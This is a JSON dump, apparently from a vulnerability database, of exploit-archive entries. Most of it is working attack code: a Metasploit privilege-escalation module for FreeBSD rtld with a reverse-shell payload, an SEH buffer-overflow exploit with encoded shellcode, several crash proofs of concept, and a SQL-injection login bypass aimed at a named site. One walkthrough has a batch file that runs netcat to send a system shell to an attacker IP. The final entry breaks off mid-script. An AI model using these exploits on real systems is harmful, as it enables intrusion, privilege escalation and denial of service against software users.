{"zdt": [{"lastseen": "2019-05-22T13:56:13", "bulletinFamily": "exploit", "description": "This Metasploit module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails. This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution.", "modified": "2019-05-22T00:00:00", "published": "2019-05-22T00:00:00", "id": "1337DAY-ID-32767", "href": "https://0day.today/exploit/description/32767", "title": "FreeBSD rtld execl() Privilege Escalation Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'FreeBSD rtld execl() Privilege Escalation',\r\n 'Description' => %q{\r\n This module exploits a vulnerability in the FreeBSD\r\n run-time link-editor (rtld).\r\n\r\n The rtld `unsetenv()` function fails to remove `LD_*`\r\n environment variables if `__findenv()` fails.\r\n\r\n This can be abused to load arbitrary shared objects using\r\n `LD_PRELOAD`, resulting in privileged code execution.\r\n\r\n This module has been tested successfully on:\r\n\r\n FreeBSD 7.2-RELEASE (amd64); and\r\n FreeBSD 8.0-RELEASE (amd64).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Kingcope', # Independent discovery, public disclosure, and exploit\r\n 'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)\r\n 'bcoles' # Metasploit (using Kingcope's exploit code [modified])\r\n ],\r\n 'DisclosureDate' => '2009-11-30',\r\n 'Platform' => ['bsd'], # FreeBSD\r\n 'Arch' =>\r\n [\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell'],\r\n 'References' =>\r\n [\r\n ['BID', '37154'],\r\n ['CVE', '2009-4146'],\r\n ['CVE', '2009-4147'],\r\n ['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],\r\n ['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],\r\n ['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],\r\n ['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],\r\n ['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],\r\n ['URL', 'https://securitytracker.com/id/1023250']\r\n ],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',\r\n 'PrependSetresuid' => true,\r\n 'PrependSetresgid' => true,\r\n 'PrependFork' => true,\r\n 'WfsDelay' => 10\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def suid_exe_path\r\n datastore['SUID_EXECUTABLE']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def is_root?\r\n (cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0')\r\n end\r\n\r\n def check\r\n kernel_release = cmd_exec('uname -r').to_s\r\n unless kernel_release =~ /^(7\\.[012]|8\\.0)/\r\n vprint_error \"FreeBSD version #{kernel_release} is not vulnerable\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"FreeBSD version #{kernel_release} appears vulnerable\"\r\n\r\n unless command_exists? 'gcc'\r\n vprint_error 'gcc is not installed'\r\n return CheckCode::Safe\r\n end\r\n print_good 'gcc is installed'\r\n\r\n unless setuid? suid_exe_path\r\n vprint_error \"#{suid_exe_path} is not setuid\"\r\n return CheckCode::Detected\r\n end\r\n vprint_good \"#{suid_exe_path} is setuid\"\r\n\r\n CheckCode::Appears\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Appears\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n if base_dir.length > 1_000\r\n fail_with Failure::BadConfig, \"#{base_dir} path length #{base_dir.length} is larger than 1,000\"\r\n end\r\n\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n\r\n executable_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n\r\nvoid _init() {\r\n extern char **environ;\r\n environ=NULL;\r\n system(\"#{payload_path} &\");\r\n}\r\nEOF\r\n\r\n executable_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{executable_path}.c\", executable_data\r\n output = cmd_exec \"gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall\"\r\n register_file_for_cleanup \"#{executable_path}.o\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\r\n end\r\n\r\n lib_name = \".#{rand_text_alphanumeric 5..10}\"\r\n lib_path = \"#{base_dir}/#{lib_name}\"\r\n output = cmd_exec \"gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles\"\r\n register_file_for_cleanup \"#{lib_path}.0\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.o failed to compile\"\r\n end\r\n\r\n exploit_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\nint main() {\r\n extern char **environ;\r\n environ = (char**)calloc(8096, sizeof(char));\r\n\r\n environ[0] = (char*)calloc(1024, sizeof(char));\r\n environ[1] = (char*)calloc(1024, sizeof(char));\r\n strcpy(environ[1], \"LD_PRELOAD=#{lib_path}.0\");\r\n\r\n return execl(\"#{suid_exe_path}\", \"\", (char *)0);\r\n}\r\nEOF\r\n\r\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{exploit_path}.c\", exploit_data\r\n output = cmd_exec \"gcc #{exploit_path}.c -o #{exploit_path} -Wall\"\r\n register_file_for_cleanup exploit_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\r\n end\r\n\r\n upload payload_path, generate_payload_exe\r\n chmod payload_path\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec exploit_path\r\n output.each_line { |line| vprint_status line.chomp }\r\n end\r\nend\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/32767"}, {"lastseen": "2019-05-21T01:54:02", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-17T00:00:00", "published": "2019-05-17T00:00:00", "id": "1337DAY-ID-32728", "href": "https://0day.today/exploit/description/32728", "title": "CEWE Photoshow 6.4.3 - (Password) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://cewe-photoworld.com/\r\n# Software: https://cewe-photoworld.com/creator-software/windows-download\r\n# Version: 6.4.3\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'\r\n# 2.- Copy the text from the generated photoshow.txt file to clipboard\r\n# 3.- Open CEWE PHOTO SHOW\r\n# 4.- Click 'Upload'\r\n# 5.- Paste clipboard in the field 'Password' and crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\n\r\nf = open (\"photoshow.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32728"}, {"lastseen": "2019-05-21T01:54:19", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-17T00:00:00", "published": "2019-05-17T00:00:00", "id": "1337DAY-ID-32726", "href": "https://0day.today/exploit/description/32726", "title": "Sandboxie 5.30 - (Programs Alerts) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: Sandboxie 5.30 - Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://www.sandboxie.com\r\n# Software https://www.sandboxie.com/SandboxieInstall.exe\r\n# Version: 5.30\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script 'Sandboxie.py', it will create a new file 'Sandboxie.txt'\r\n# 2.- Copy the text from the generated Sandboxie.txt file to clipboard\r\n# 3.- Open Sandboxie Control\r\n# 4.- Go to 'Configure' > 'Programs Alerts'\r\n# 5.- Click 'Add Program', paste clipboard in the field 'Select or enter a program' and click 'OK'\r\n# 6.- Click 'OK' and crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\n\r\nf = open (\"Sandboxie.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32726"}, {"lastseen": "2019-05-21T01:53:26", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-05-16T00:00:00", "published": "2019-05-16T00:00:00", "id": "1337DAY-ID-32721", "href": "https://0day.today/exploit/description/32721", "title": "JetAudio jetCast Server 2.0 - (Log Directory) Local SEH Alphanumeric Encoded Buffer Overflow Exploit", "type": "zdt", "sourceData": "# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow\r\n# Author: Connor McGarr (https://connormcgarr.github.io)\r\n# Vendor Homepage: http://www.jetaudio.com/\r\n# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe\r\n# Version v2.0\r\n# Tested on: Windows XP SP3 EN\r\n\r\n# TO RUN:\r\n# 1. Run python script\r\n# 2. Copy contents of pwn.txt\r\n# 3. Open jetCast\r\n# 4. Select Config\r\n# 5. Paste contents of pwn.txt into \"Log directory\" field\r\n# 6. Click \"OK\"\r\n# 7. Click \"Start\"\r\n\r\n# For zeroing out registers before manual shellcode\r\nzero = \"\\x25\\x01\\x01\\x01\\x01\" \t# and eax, 0x01010101\r\nzero += \"\\x25\\x10\\x10\\x10\\x10\" \t# and eax, 0x10101010\r\n\r\n# Save old stack pointer\r\nrestore = \"\\x54\" # push esp\r\nrestore += \"\\x59\" # pop ecx\r\nrestore += \"\\x51\" # push ecx\r\n\r\n# Align the stack to 0012FFAD. Leaving enough room for shell. Using calc.exe for now.\r\n# 4C4F5555 4C4F5555 4D505555\r\nalignment = \"\\x54\"\t\t\t\t# push esp\r\nalignment += \"\\x58\"\t\t\t\t# pop eax\r\nalignment += \"\\x2d\\x4c\\x4f\\x55\\x55\"\t\t# and eax, 0x4C4F5555\r\nalignment += \"\\x2d\\x4c\\x4f\\x55\\x55\"\t\t# and eax, 0x4C4F5555\r\nalignment += \"\\x2d\\x4d\\x50\\x55\\x55\"\t\t# and eax, 0x4D505555\r\nalignment += \"\\x50\"\t\t\t\t# push eax\r\nalignment += \"\\x5c\"\t\t\t\t# pop esp\r\n\r\n# calc.exe - once again, giving you enough room with alignment for shell. Calc.exe for now.\r\n# 2C552D14 01552D14 01562E16\r\nshellcode = zero\r\nshellcode += \"\\x2d\\x14\\x2d\\x55\\x2c\" \t\t# sub eax, 0x2C552D14\r\nshellcode += \"\\x2d\\x14\\x2d\\x55\\x01\" \t\t# sub eax, 0x01562D14\r\nshellcode += \"\\x2d\\x16\\x2e\\x56\\x01\" \t\t# sub eax, 0x01562E16\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 24121729 24121739 2414194A\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x29\\x17\\x12\\x24\" \t\t# sub eax, 0x24121729\r\nshellcode += \"\\x2d\\x39\\x17\\x12\\x24\" \t# sub eax, 0x24121739\r\nshellcode += \"\\x2d\\x4a\\x19\\x14\\x24\" \t# sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 34313635 34313434 34313434\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x35\\x36\\x31\\x34\" \t\t# sub eax, 0x34313635\r\nshellcode += \"\\x2d\\x34\\x34\\x31\\x34\" \t\t# sub eax, 0x34313434\r\nshellcode += \"\\x2d\\x34\\x34\\x31\\x34\" \t\t# sub eax, 0x34313434\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 323A1245 323A1245 333A1245\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x32\" \t\t# sub eax, 0x323A1245\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x32\" \t\t# sub eax, 0x323A1245\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x33\" \t\t# sub eax, 0x333A1245\r\nshellcode += \"\\x50\"\t\t\t\t# push eax\r\n\r\n# Restore old stack pointer. MOV ECX,ESP\r\nmove = zero\r\nmove += \"\\x2d\\x40\\x3f\\x27\\x11\" \t\t\t# sub eax, 0x403F2711\r\nmove += \"\\x2d\\x3f\\x3f\\x27\\x11\" \t\t\t# sub eax, 0x3F3F2711\r\nmove += \"\\x2d\\x3f\\x3f\\x28\\x11\" \t\t\t# sub eax, 0x3F3F2811\r\nmove += \"\\x50\" \t\t\t\t\t# push eax\r\n\r\n\r\npayload = \"\\x41\" * 520\r\npayload += \"\\x70\\x06\\x71\\x06\"\t\t\t# JO 6 bytes. If jump fails, default to JNO 6 bytes into shellcode.\r\npayload += \"\\x2d\\x10\\x40\\x5f\"\t\t\t# pop pop ret MFC42.DLL\r\npayload += \"\\x41\" * 2\t\t\t\t# Padding to reach first instruction\r\npayload += restore\r\npayload += alignment\r\npayload += shellcode\r\npayload += move\r\n# Using ECX for holding old ESP. \\x41 = INC ECX\r\n# so using \\x42 = INC EDX instead.\r\npayload += \"\\x42\" * (5000-len(payload))\r\n\r\nf = open('pwn.txt', 'w')\r\nf.write(payload)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32721"}, {"lastseen": "2019-05-10T11:58:27", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32675", "href": "https://0day.today/exploit/description/32675", "title": "Lyric Video Creator 2.1 - (.mp3) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://lyricvideocreator.com/\r\n# Software Link: https://lyricvideocreator.com/dwl/LyricVideoCreator.exe\r\n# Version: 2.1\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script \"LyricVideo.py\", it will create a new file \"sample.mp3\"\r\n# 2.- Open LyricVideoCreator.exe\r\n# 4.- Click on the 'Browse song' button, select the 'sample.mp3' file created and click on the 'Open' button\r\n# 5.- Crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\nf = open (\"sample.mp3\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-10] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32675"}, {"lastseen": "2019-05-10T11:58:22", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32678", "href": "https://0day.today/exploit/description/32678", "title": "jetCast Server 2.0 - Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: jetCast Server 2.0 - Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: http://www.jetaudio.com/\r\n#Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe\r\n#Tested Version: 2.0\r\n#Tested on: Windows 7 Service Pack 1 x64 \r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: jetCast_Server_2.0.py\r\n#2.- Open jetCast.txt and copy content to clipboard\r\n#2.- Open jetCast Server \r\n#3.- Select Config \r\n#4.- In \"Log directory\" Paste ClipBoard \r\n#5.- Click on \"Ok\"\r\n#6.- Click on \"Start\"\r\n#7.- Crashed\r\n\r\ncod = \"\\x41\" * 5000\r\nf = open('jetCast.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-10] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32678"}, {"lastseen": "2019-05-07T05:58:40", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-05-06T00:00:00", "published": "2019-05-06T00:00:00", "id": "1337DAY-ID-32660", "href": "https://0day.today/exploit/description/32660", "title": "NSClient++ 0.5.2.35 - Privilege Escalation Vulnerability", "type": "zdt", "sourceData": "Exploit Author: bzyo\r\nTwitter: @bzyo_\r\nExploit Title: NSClient++ 0.5.2.35 - Privilege Escalation\r\nVulnerable Software: NSClient++ 0.5.2.35\r\nVendor Homepage: http://nsclient.org/\r\nVersion: 0.5.2.35\r\nSoftware Link: http://nsclient.org/download/\r\nTested on: Windows 10 x64\r\n\r\nDetails:\r\nWhen NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file. From here a user is able to login to the web server and make changes to the configuration file that is normally restricted. \r\n\r\nThe user is able to enable the modules to check external scripts and schedule those scripts to run. There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere. Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation. A reboot, as far as I can tell, is required to reload and read the changes to the web config. \r\n\r\nPrerequisites:\r\nTo successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.\r\n\r\nExploit:\r\n1. Grab web administrator password\r\n- open c:\\program files\\nsclient++\\nsclient.ini\r\nor\r\n- run the following that is instructed when you select forget password\r\n\tC:\\Program Files\\NSClient++>nscp web -- password --display\r\n\tCurrent password: SoSecret\r\n\r\n2. Login and enable following modules including enable at startup and save configuration\r\n- CheckExternalScripts\r\n- Scheduler\r\n\r\n3. Download nc.exe and evil.bat to c:\\temp from attacking machine\r\n\t@echo off\r\n\tc:\\temp\\nc.exe 192.168.0.163 443 -e cmd.exe\r\n\r\n4. Setup listener on attacking machine\r\n\tnc -nlvvp 443\r\n\r\n5. Add script foobar to call evil.bat and save settings\r\n- Settings > External Scripts > Scripts\r\n- Add New\r\n\t- foobar\r\n\t\tcommand = c:\\temp\\evil.bat\r\n\r\n6. Add schedulede to call script every 1 minute and save settings\r\n- Settings > Scheduler > Schedules\r\n- Add new\r\n\t- foobar\r\n\t\tinterval = 1m\r\n\t\tcommand = foobar\r\n\r\n7. Restart the computer and wait for the reverse shell on attacking machine\r\n\tnc -nlvvp 443\r\n\tlistening on [any] 443 ...\r\n\tconnect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671\r\n\tMicrosoft Windows [Version 10.0.17134.753]\r\n\t(c) 2018 Microsoft Corporation. All rights reserved.\r\n\r\n\tC:\\Program Files\\NSClient++>whoami\r\n\twhoami\r\n\tnt authority\\system\r\n\t\r\nRisk:\r\nThe vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System\n\n# 0day.today [2019-05-07] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32660"}, {"lastseen": "2019-05-03T15:55:51", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32644", "href": "https://0day.today/exploit/description/32644", "title": "Instagram Auto Follow - Authentication #Bypass Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: Instagram Auto Follow - Autobot Instagram - Authentication Bypass\r\n# Exploit Author: Veyselxan\r\n# Vendor Homepage: https://codecanyon.net/item/instagram-auto-follow-autobot-instagram/23720743?s_rank=4\r\n\r\n# Tested on: Linux\r\nhttps://eowynlab.cf/autobot-follow/index.php\r\n\r\n\r\nusername: admin' or '1'='1\r\n\r\nPassword: admin' or '1'='1\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32644"}, {"lastseen": "2019-05-03T01:50:33", "bulletinFamily": "exploit", "description": "Microsoft Windows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain array brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename and not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of PowerShell ISE allowing potential unexpected remote code execution.", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32642", "href": "https://0day.today/exploit/description/32642", "title": "Windows #PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit #RCE", "type": "zdt", "sourceData": "Windows PowerShell ISE / Filename Parsing Flaw Remote Code Execution Exploit\r\n\r\n[+] Credits: John Page (aka hyp3rlinx) \r\n[+] Website: hyp3rlinx.altervista.org\r\n[+] Source: http://hyp3rlinx.altervista.org/advisories/WINDOWS-POWERSHELL-ISE-FILENAME-PARSING-FLAW-RCE-0DAY.txt \r\n\r\n\r\n[Vendor]\r\nwww.microsoft.com\r\n\r\n\r\n[Product]\r\nWindows PowerShell ISE\r\n\r\nThe Windows PowerShell Integrated Scripting Environment (ISE) is a host application for Windows PowerShell.\r\nIn the ISE, you can run commands and write, test, and debug scripts in a single Windows-based graphic user interface.\r\n\r\n\r\n[Vulnerability Type]\r\nFilename Parsing Flaw Remote Code Execution 0day\r\n\r\n\r\n[References]\r\nZDI-CAN-8005\r\n\r\n\r\n[Security Issue]\r\nWindows PowerShell ISE will execute wrongly supplied code when debugging specially crafted PowerShell scripts that contain\r\narray brackets as part of the filename. This can result in ISE executing attacker supplied scripts pointed to by the filename\r\nand not the \"trusted\" PS file currently loaded and being viewed by a user in the host application. This undermines the integrity of\r\nPowerShell ISE allowing potential unexpected remote code execution.\r\n\r\nIn PowerShell brackets are used to access array elements.\r\n\r\nPS C:\\> $a=1..10\r\nPS C:\\> $a[4]\r\n5\r\n\r\nHowever, when brackets are used as part of the filename it can be used to hijack the currently loaded file in place of another malicious file.\r\nThat file must contain a single matching char value which is also found in our specially crafted filename.\r\n\r\nRequirements are both files must reside in the same directory. Example, if a file named [HelloWorldTutoria1].ps1 resides alongside a\r\nfile named 1.ps1 it will create a script hijacking condition. Note, the last letter is a number \"1\" not a lowercase \"L\".\r\n\r\nOther things I discovered playing with PS filenames is we can target scripts using a single alphabetic or numeric char and certain symbols.\r\nPowerShell scripts with only a single quote also work, [Pwned'].ps1 will load and execute ===> '.ps1 if debugged from the vuln ISE application.\r\n\r\nThese chars also get the job done:\r\n\"$\" \"_\" \"#\" \"^\" plus any single case insensitive letter a-z or numbers 0-9, [Hello_World].ps1 ====> _.ps1\r\n\r\n[Hello].ps1 will execute this instead =====> h.ps1\r\n\r\nDashes \"-\" throw the following error: \"The specified wildcard character pattern is not valid: [Hello-World].ps1\" when pointing to\r\nanother PS file named -.ps1 and seems to treat it sort of like a meta-character.\r\n\r\n[pw3d].ps1 <===== expected to execute\r\n\r\n3.ps1 <===== actually executed\r\n\r\nThis exploits the trust between PowerShell ISE and the end user. So scripts debugged local or over a network share display \"trusted\" code\r\nin ISE that is expected to run. However, when the user debugs the script a different script gets executed.\r\nInterestingly, that second script does NOT get loaded into PowerShell ISE upon execution, so a user may not see anything amiss.\r\n\r\nUser interaction is required for a successful attack to occur and obviously running any unknown PowerShell script can be dangerous. \r\nAgain, this exploit takes advantage of \"trust\" where users can see and read the code and will trust it as everything looks just fine and\r\nyet ... still they get PWNED!.\r\n\r\nTested successfully on Win7/10\r\n\r\nLong live user interaction! lol...\r\n\r\n\r\n[POC Video URL]\r\nhttps://www.youtube.com/watch?v=T2I_-iUPaFw\r\n\r\n\r\n[Exploit/POC]\r\nAfter opening PS files in ISE, set the execution policy so can test without issues.\r\nset-executionpolicy unrestricted -force\r\n\r\nPS scripts over Network shares may get 'RemoteSigned' security policy issue so run below cmd.\r\n\r\nset-executionpolicy unrestricted -force process\r\nChoose 'R' to run once.\r\n\r\nBelow Python script will create two .ps1 files to demonstrate the vulnerable condition.\r\nExamine the code, what does it say? it reads... Write-output \"Hello World!\"... now Run it...\r\n\r\nBAM! other PS script executes!.\r\n\r\n\r\n#PowerShell ISE 0day Xploit\r\n#ZDI-CAN-8005\r\n#ZDI CVSS: 7.0\r\n#hyp3rlinx\r\n#ApparitionSec\r\n\r\n\r\nfname1=\"[HelloWorldTutoria1].ps1\" #Expected code to run is 'HelloWorld!'\r\nfname2=\"1.ps1\" #Actual code executed is calc.exe for Poc\r\nevil_code=\"start calc.exe\" #Edit to suit your needs.\r\nc=0\r\npayload1='Write-Output \"Hello World!\"'\r\npayload2=evil_code+\"\\n\"+'Write-Output \"Hello World!\"'\r\n\r\ndef mk_ps_hijack_script():\r\n global c\r\n c+=1\r\n f=open(globals()[\"fname\"+str(c)],\"wb\")\r\n f.write(globals()[\"payload\"+str(c)])\r\n f.close()\r\n if c<2:\r\n mk_ps_hijack_script()\r\n \r\n\r\nif __name__==\"__main__\":\r\n mk_ps_hijack_script()\r\n print \"PowerShell ISE Xploit 0day Files Created!\"\r\n print \"Discovery by hyp3rlinx\"\r\n print \"ZDI-CAN-8005\"\n\n# 0day.today [2019-05-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32642"}, {"lastseen": "2019-05-03T21:57:18", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category remote exploits", "modified": "2019-05-03T00:00:00", "published": "2019-05-03T00:00:00", "id": "1337DAY-ID-32648", "href": "https://0day.today/exploit/description/32648", "title": "MailCarrier 2.51 HELP Remote Buffer Overflow Exploit", "type": "zdt", "sourceData": "#!/usr/bin/python\r\n# Exploit Title: MailCarrier 2.51 - Remote Buffer Overflow in \"HELP\" command(SMTP)\r\n# Exploit Author: Vinaykumar Yennam and Dheepshika Raghunathan \r\n# Vendor Homepage: https://www.tabslab.com/\r\n# Version: 2.51\r\n# Software Link: N.A\r\n# Tested on: Windows XP Prof SP3 ENG x86\r\n# CVE: TBC from Mitre\r\n# Created for the ENPM697 Project\r\n# POC\r\n# 1.) Change ip and port in code\r\n# 2.) Run script against target, set up a listener and meterpreter reverse shell will connect to your machine.\r\n\r\nimport socket\r\nimport sys\r\n\r\nhost = \"192.168.241.135\"\r\nport = 25\r\n\r\n\r\n\r\npattern = 